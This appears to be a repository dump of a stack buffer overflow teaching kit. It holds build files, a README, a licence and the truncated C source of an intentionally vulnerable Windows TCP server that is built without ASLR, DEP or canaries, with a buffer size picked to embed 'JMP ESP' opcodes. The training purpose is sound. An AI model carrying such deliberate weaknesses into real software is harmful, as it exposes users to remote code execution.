├── .gitignore ├── BUILDING.md ├── Makefile ├── README.md ├── dostackbufferoverflowgood.exe ├── dostackbufferoverflowgood.pdb ├── dostackbufferoverflowgood ├── dostackbufferoverflowgood.sln └── dostackbufferoverflowgood │ ├── LICENSE │ ├── ReadMe.txt │ ├── dostackbufferoverflowgood.c │ ├── dostackbufferoverflowgood.h │ ├── dostackbufferoverflowgood.vcxproj │ ├── dostackbufferoverflowgood.vcxproj.filters │ ├── stdafx.c │ ├── stdafx.h │ └── targetver.h ├── dostackbufferoverflowgood_images ├── cc4-by.png ├── ida_doresponse_call.png ├── ida_doresponse_call_linear.png ├── ida_doresponse_disassembly.png ├── ida_doresponse_disassembly_head.png ├── ida_doresponse_disassembly_tail.png ├── ida_doresponse_xrefs.png ├── ida_doubleclick_do_response.png ├── ida_handleconnection_graph_overview.png ├── ida_loadfile.png ├── immdbg_0x39654138.png ├── immdbg_0x41414141.png ├── immdbg_badchars.png ├── immdbg_badchars_follow_in_dump.png ├── immdbg_badchars_mona_compare.png ├── immdbg_breakpoint_call.png ├── immdbg_breakpoints.png ├── immdbg_calc_popped.png ├── immdbg_eip_control.png ├── immdbg_findmsp.png ├── immdbg_int3.png ├── immdbg_interface.png ├── immdbg_mona_jmp.png ├── immdbg_mona_jmp_follow_in_disassembler.png ├── immdbg_restartprocess.png ├── immdbg_startprocess.png └── immdbg_test_mona.png ├── dostackbufferoverflowgood_slides.pdf ├── dostackbufferoverflowgood_slides.pptx ├── dostackbufferoverflowgood_tutorial.md └── dostackbufferoverflowgood_tutorial.pdf /.gitignore: -------------------------------------------------------------------------------- 1 | # --- BEGIN VISUAL STUDIO 2 | # via https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 3 | ## Ignore Visual Studio temporary files, build results, and 4 | ## files generated by popular Visual Studio add-ons. 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | 26 | # Visual Studio 2015 cache/options directory 27 | .vs/ 28 | # Uncomment if you have tasks that create the project's static files in wwwroot 29 | #wwwroot/ 30 | 31 | # MSTest test Results 32 | [Tt]est[Rr]esult*/ 33 | [Bb]uild[Ll]og.* 34 | 35 | # NUNIT 36 | *.VisualState.xml 37 | TestResult.xml 38 | 39 | # Build Results of an ATL Project 40 | [Dd]ebugPS/ 41 | [Rr]eleasePS/ 42 | dlldata.c 43 | 44 | # DNX 45 | project.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | #*.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | # TODO: Comment the next line if you want to checkin your web deploy settings 143 | # but database connection strings (with potential passwords) will be unencrypted 144 | *.pubxml 145 | *.publishproj 146 | 147 | # NuGet Packages 148 | *.nupkg 149 | # The packages folder can be ignored because of Package Restore 150 | **/packages/* 151 | # except build/, which is used as an MSBuild target. 152 | !**/packages/build/ 153 | # Uncomment if necessary however generally it will be regenerated when needed 154 | #!**/packages/repositories.config 155 | # NuGet v3's project.json files produces more ignoreable files 156 | *.nuget.props 157 | *.nuget.targets 158 | 159 | # Microsoft Azure Build Output 160 | csx/ 161 | *.build.csdef 162 | 163 | # Microsoft Azure Emulator 164 | ecf/ 165 | rcf/ 166 | 167 | # Microsoft Azure ApplicationInsights config file 168 | ApplicationInsights.config 169 | 170 | # Windows Store app package directory 171 | AppPackages/ 172 | BundleArtifacts/ 173 | 174 | # Visual Studio cache files 175 | # files ending in .cache can be ignored 176 | *.[Cc]ache 177 | # but keep track of directories ending in .cache 178 | !*.[Cc]ache/ 179 | 180 | # Others 181 | ClientBin/ 182 | ~$* 183 | *~ 184 | *.dbmdl 185 | *.dbproj.schemaview 186 | *.pfx 187 | *.publishsettings 188 | node_modules/ 189 | orleans.codegen.cs 190 | 191 | # RIA/Silverlight projects 192 | Generated_Code/ 193 | 194 | # Backup & report files from converting an old project file 195 | # to a newer Visual Studio version. Backup files are not needed, 196 | # because we have git ;-) 197 | _UpgradeReport_Files/ 198 | Backup*/ 199 | UpgradeLog*.XML 200 | UpgradeLog*.htm 201 | 202 | # SQL Server files 203 | *.mdf 204 | *.ldf 205 | 206 | # Business Intelligence projects 207 | *.rdl.data 208 | *.bim.layout 209 | *.bim_*.settings 210 | 211 | # Microsoft Fakes 212 | FakesAssemblies/ 213 | 214 | # GhostDoc plugin setting file 215 | *.GhostDoc.xml 216 | 217 | # Node.js Tools for Visual Studio 218 | .ntvs_analysis.dat 219 | 220 | # Visual Studio 6 build log 221 | *.plg 222 | 223 | # Visual Studio 6 workspace options file 224 | *.opt 225 | 226 | # Visual Studio LightSwitch build output 227 | **/*.HTMLClient/GeneratedArtifacts 228 | **/*.DesktopClient/GeneratedArtifacts 229 | **/*.DesktopClient/ModelManifest.xml 230 | **/*.Server/GeneratedArtifacts 231 | **/*.Server/ModelManifest.xml 232 | _Pvt_Extensions 233 | 234 | # Paket dependency manager 235 | .paket/paket.exe 236 | 237 | # FAKE - F# Make 238 | .fake/ 239 | # --- END VISUAL STUDIO 240 | -------------------------------------------------------------------------------- /BUILDING.md: -------------------------------------------------------------------------------- 1 | # Building the PDF 2 | 3 | A Makefile is provided to help you build the PDF from the Markdown and images 4 | provided in the repository. 5 | 6 | **NOTE:** Building the PDF is not required unless you wish to make changes to 7 | the content of the source material or the layout compiled document. You are 8 | free to modify the content or layout and you are free to redistribute modified 9 | source material or compiled documents under the conditions of the Creative 10 | Commons Attribution 4.0 International License license. 11 | 12 | ## Requirements 13 | 14 | * `make` (e.g. as provided by the `build-essential` package on Debian) 15 | * `pandoc` (provided by the `pandoc` package on Debian) 16 | * `xelatex` (provided by the `texlive-xetex` package on Debian) 17 | 18 | ## Building the PDF 19 | 20 | Simply do `make clean && make` 21 | 22 | ``` 23 | root@a44648c727e4:/dostackbufferoverflowgood# make clean 24 | rm -f dostackbufferoverflowgood_tutorial.pdf 25 | 26 | root@a44648c727e4:/dostackbufferoverflowgood# make 27 | pandoc --latex-engine=xelatex dostackbufferoverflowgood_tutorial.md -o dostackbufferoverflowgood_tutorial.pdf 28 | 29 | root@a44648c727e4:/dostackbufferoverflowgood# ls -la dostackbufferoverflowgood_tutorial.pdf 30 | -rw-r--r-- 1 root root 1065481 Jul 29 03:15 dostackbufferoverflowgood_tutorial.pdf 31 | ``` 32 | 33 | ## POC 34 | 35 | The following is provided only to demonstrate that the above requirements can 36 | build the PDF. I do not necessarily recommend that you build the PDF within a 37 | Docker container. You can just as easily build the PDF on your local machine. 38 | 39 | A `Dockerfile` that installs the required packages (it assumes the 40 | `dostackbufferoverflowgood/` repo exists in the Docker build context): 41 | 42 | ``` 43 | FROM debian 44 | 45 | COPY dostackbufferoverflowgood /dostackbufferoverflowgood 46 | 47 | RUN \ 48 | apt-get update && \ 49 | apt-get install -y \ 50 | build-essential \ 51 | pandoc \ 52 | texlive-xetex \ 53 | && apt-get clean && \ 54 | rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 55 | 56 | CMD cd /dostackbufferoverflowgood && make clean && make 57 | ``` 58 | 59 | Building the Docker image: 60 | 61 | ``` 62 | % sudo -g docker docker build -t build_dostackbufferoverflowgood . 63 | Sending build context to Docker daemon 10.11MB 64 | Step 1/4 : FROM debian 65 | ---> da653cee0545 66 | Step 2/4 : COPY dostackbufferoverflowgood /dostackbufferoverflowgood 67 | ---> Using cache 68 | ---> 357942793cc4 69 | Step 3/4 : RUN apt-get update && apt-get install -y build-essential pandoc texlive-xetex && apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 70 | ---> Using cache 71 | ---> b047d0fcf5e0 72 | Step 4/4 : CMD cd /dostackbufferoverflowgood && make clean && make 73 | ---> Using cache 74 | ---> bb8e6ad2db61 75 | Successfully built bb8e6ad2db61 76 | Successfully tagged build_dostackbufferoverflowgood:latest 77 | ``` 78 | 79 | Running the Docker image as a container: 80 | 81 | ``` 82 | % sudo -g docker docker run build_dostackbufferoverflowgood 83 | rm -f dostackbufferoverflowgood_tutorial.pdf 84 | pandoc --latex-engine=xelatex dostackbufferoverflowgood_tutorial.md -o dostackbufferoverflowgood_tutorial.pdf 85 | ``` 86 | 87 | The PDF is successfully built and can be copied out of the stopped Docker 88 | container using `docker cp`. 89 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | dostackbufferoverflowgood_tutorial.pdf: dostackbufferoverflowgood_tutorial.md 2 | pandoc --pdf-engine=xelatex $< -o $@ 3 | 4 | all: dostackbufferoverflowgood_tutorial.pdf 5 | 6 | clean: 7 | rm -f dostackbufferoverflowgood_tutorial.pdf 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ____ ___ ____ _____ _ ____ _ ______ _ _ _____ _____ _____ ____ 3 | | _ \ / _ \/ ___|_ _|/ \ / ___| |/ / __ )| | | | ___| ___| ____| _ \ 4 | | | | | | | \___ \ | | / _ \| | | ' /| _ \| | | | |_ | |_ | _| | |_) | 5 | | |_| | |_| |___) || |/ ___ \ |___| . \| |_) | |_| | _| | _| | |___| _ < 6 | |____/ \___/|____/ |_/_/ \_\____|_|\_\____/ \___/|_| |_| |_____|_| \_\ 7 | _____ _______ ____ _____ _ _____ ______ ___ ___ ____ 8 | / _ \ \ / / ____| _ \| ___| | / _ \ \ / / ___|/ _ \ / _ \| _ \ 9 | | | | \ \ / /| _| | |_) | |_ | | | | | \ \ /\ / / | _| | | | | | | | | | 10 | | |_| |\ V / | |___| _ <| _| | |__| |_| |\ V V /| |_| | |_| | |_| | |_| | 11 | \___/ \_/ |_____|_| \_\_| |_____\___/ \_/\_/ \____|\___/ \___/|____/ 12 | ``` 13 | 14 | Created for CrikeyCon 3, 20 February 2016 15 | 16 | ## tl; dr 17 | 18 | If you're in a hurry, you're almost certainly looking for the following resources: 19 | 20 | * [`dostackbufferoverflowgood.exe`](/dostackbufferoverflowgood.exe) - an intentionally vulnerable Windows program 21 | * [`dostackbufferoveflowgood_tutorial.pdf`](/dostackbufferoverflowgood_tutorial.pdf) - A PDF tutorial that explains how to exploit the above program 22 | 23 | ## A brief history 24 | 25 | The resources in this repo were created for a talk at 26 | [Crikeycon](https://www.crikeycon.com) in 2016. A recording of that talk is 27 | available at . 28 | 29 | ## How you can support me 30 | 31 | Please share these resources with your friends. They are freely licensed, so 32 | you are even welcome to present them at your local hacker meetup or in your 33 | company. All I ask is that you credit me as the original author. 34 | 35 | You can [Follow me on Twitter](https://twitter.com/justinsteven) and let me 36 | know that you popped calc. 37 | 38 | If you want to see more of my content, please subscribe to my [Youtube 39 | channel](https://youtube.com/justinsteven) and follow me on 40 | [Twitch](https://twitch.tv/justinsteven) 41 | 42 | Finally, if these resources brought you joy or helped you on your journey to 43 | OSCP and you would feel awesome about supporting me financially, you can buy 44 | me a coffee. If it wouldn't make you feel awesome, please don't feel obliged. 45 | This content will always be 100% free for you to enjoy, modify and distribute 46 | :heart: 47 | 48 | 49 | Buy Me a Coffee at ko-fi.com 50 | 51 | 52 | ## Abstract 53 | 54 | Did you miss out on stack-smashing for enjoyment and financial gain? Have you 55 | always meant to get in to "all that debugger stuff" but don't know your EIP 56 | from your ESP? Let's take it back to the 90s for an overview of Win32 stack 57 | buffer overflow exploitation. 58 | 59 | We'll cover assembly, registers, the stack, function call and return mechanics, 60 | triggering stack buffer overflows, taking advantage of saved return pointer 61 | overwrites, generating shellcode, and some other weird tricks. 62 | 63 | This is not new stuff, and modern mitigations (ASLR, DEP and stack canaries) 64 | totally harsh its mellow. If you're a stack savant who has a handle on the 65 | heap and ROPs relentlessly then this content isn't for you. For everyone 66 | else, may you learn to pop calc not alert(1) 67 | 68 | ## Contents of this repo 69 | 70 | * [`dostackbufferoverflowgood.exe`](/dostackbufferoverflowgood.exe) - Intentionally vulnerable binary. Compiled without ASLR, DEP or Stack Canaries. 71 | * [`dostackbufferoverflowgood_tutorial.pdf`](/dostackbufferoverflowgood_tutorial.pdf) - A tutorial for the above binary 72 | * [`dostackbufferoverflowgood_slides.pdf`](/dostackbufferoverflowgood_slides.pdf) - Presentation slides 73 | * [`dostackbufferoverflowgood`](/dostackbufferoverflowgood) - **Optional** Visual Studio solution for `dostackbufferoverflow.exe` 74 | * [`dostackbufferoverflowgood.pdb`](/dostackbufferoverflowgood.pdb) - **Optional** Debug symbols for `dostackbufferoverflowgood.exe` 75 | 76 | ## License 77 | 78 | The code for `dostackbufferoverflowgood.exe` is licensed under Apache License 79 | Version 2.0 80 | 81 | The slides and tutorial are licensed under a Creative Commons Attribution 4.0 82 | International License. 83 | 84 | You are welcome to modify and redistribute this material, provided you credit 85 | me as the original author. 86 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood.exe -------------------------------------------------------------------------------- /dostackbufferoverflowgood.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/justinsteven/dostackbufferoverflowgood/f67b555a5d9da766516094bbd0c8a680e7afc248/dostackbufferoverflowgood.pdb -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.24720.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dostackbufferoverflowgood", "dostackbufferoverflowgood\dostackbufferoverflowgood.vcxproj", "{132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Debug|x64.ActiveCfg = Debug|x64 17 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Debug|x64.Build.0 = Debug|x64 18 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Debug|x86.ActiveCfg = Debug|Win32 19 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Debug|x86.Build.0 = Debug|Win32 20 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Release|x64.ActiveCfg = Release|x64 21 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Release|x64.Build.0 = Release|x64 22 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Release|x86.ActiveCfg = Release|Win32 23 | {132FFFDD-803B-4E53-A6A6-83FAB5DE3FB6}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : dostackbufferoverflowgood Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this dostackbufferoverflowgood application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your dostackbufferoverflowgood application. 9 | 10 | 11 | dostackbufferoverflowgood.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | dostackbufferoverflowgood.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | dostackbufferoverflowgood.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named dostackbufferoverflowgood.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /dostackbufferoverflowgood/dostackbufferoverflowgood/dostackbufferoverflowgood.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "dostackbufferoverflowgood.h" 3 | 4 | #define LHOST NULL // 0.0.0.0 5 | #define LPORT "31337" // hack the planet 6 | #define RECVBUFSIZE 58623 // causes "JMP ESP" opcodes to be compiled in during 7 | // handleConnection()'s "SUB ESP,n" 8 | 9 | int __cdecl main() 10 | { 11 | // [+] socket setup 12 | // borrowed from MSDN - https://msdn.microsoft.com/en-us/library/windows/desktop/ms738545%28v=vs.85%29.aspx 13 | 14 | // Initialize Winsock 15 | WSADATA wsaData = { 0 }; 16 | int result = WSAStartup(MAKEWORD(2, 2), &wsaData); 17 | if (result != 0) { 18 | printf("WSAStartup failed: %d\n", result); 19 | return -1; 20 | } 21 | 22 | struct addrinfo hints = { 0 }; 23 | hints.ai_family = AF_INET; 24 | hints.ai_socktype = SOCK_STREAM; 25 | hints.ai_protocol = IPPROTO_TCP; 26 | hints.ai_flags = AI_PASSIVE; 27 | 28 | // Resolve the local address and port to be used by the server 29 | struct addrinfo *ainfo; 30 | result = getaddrinfo(LHOST, LPORT, &hints, &ainfo); 31 | if (result != 0) { 32 | printf("getaddrinfo failed: %d\n", result); 33 | WSACleanup(); 34 | return -1; 35 | } 36 | 37 | // Create a SOCKET for the server to listen for client connections 38 | SOCKET listenSocket; 39 | if ((listenSocket = socket(ainfo->ai_family, ainfo->ai_socktype, ainfo->ai_protocol)) == INVALID_SOCKET) { 40 | printf("socket() failed with error: %ld\n", WSAGetLastError()); 41 | freeaddrinfo(ainfo); 42 | WSACleanup(); 43 | return -1; 44 | } 45 | 46 | // Setup the TCP listening socket 47 | if ((bind(listenSocket, ainfo->ai_addr, (int)ainfo->ai_addrlen)) == SOCKET_ERROR) { 48 | printf("bind() failed with error: %d\n", WSAGetLastError()); 49 | freeaddrinfo(ainfo); 50 | closesocket(listenSocket); 51 | WSACleanup(); 52 | return -1; 53 | } 54 | freeaddrinfo(ainfo); 55 | 56 | // Listen on the socket 57 | if (listen(listenSocket, SOMAXCONN) == SOCKET_ERROR) { 58 | printf("listen() failed with error: %ld\n", WSAGetLastError()); 59 | closesocket(listenSocket); 60 | WSACleanup(); 61 | return -1; 62 | } 63 | 64 | printf("[+] Listening for connections.\n"); 65 | 66 | // [+] handle connections 67 | // borrowed from http://stackoverflow.com/a/15185627 68 | while (1) { 69 | // Accept a connection 70 | SOCKET clientSocket; 71 | if ((clientSocket = accept(listenSocket, NULL, NULL)) == INVALID_SOCKET) { 72 | printf("accept failed: %d\n", WSAGetLastError()); 73 | continue; 74 | } 75 | printf("Received connection from remote host.\n"); 76 | 77 | // Create thread to handle connection 78 | _beginthread(&handleConnection, 0, (void*)clientSocket); 79 | printf("Connection handed off to handler thread.\n"); 80 | } 81 | } 82 | 83 | void __cdecl handleConnection(void *param) { 84 | SOCKET clientSocket = (SOCKET)param; 85 | 86 | // Receive until the peer shuts down the connection 87 | // recv spooling borrowed from 